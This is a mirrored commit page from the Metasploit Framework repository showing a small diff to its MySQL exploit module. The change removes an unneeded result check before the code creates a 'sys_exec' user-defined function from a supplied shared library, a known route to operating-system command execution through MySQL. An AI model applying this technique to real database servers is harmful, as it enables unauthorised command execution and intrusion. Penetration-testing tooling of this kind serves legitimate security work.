1
mirror of https://github.com/rapid7/metasploit-framework synced 2024-11-12 11:52:01 +01:00

Lnad #5334, @wchen-r7's deletes unnecessary check on mysql_drop_and_create_sys_exec

This commit is contained in:
jvazquez-r7 2015-05-15 11:51:21 -05:00
commit 3c92d5365e
No known key found for this signature in database
GPG Key ID: 38D99152B9352D83

View File

@ -162,8 +162,9 @@ module Exploit::Remote::MYSQL
end
def mysql_drop_and_create_sys_exec(soname)
res = mysql_query("DROP FUNCTION IF EXISTS sys_exec") # Already checked, actually
return false if res.nil?
# Just drop it. MySQL will always say "OK" anyway.
# See #5244
mysql_query("DROP FUNCTION IF EXISTS sys_exec")
res = mysql_query("CREATE FUNCTION sys_exec RETURNS int SONAME '#{soname}'")
return false if res.nil?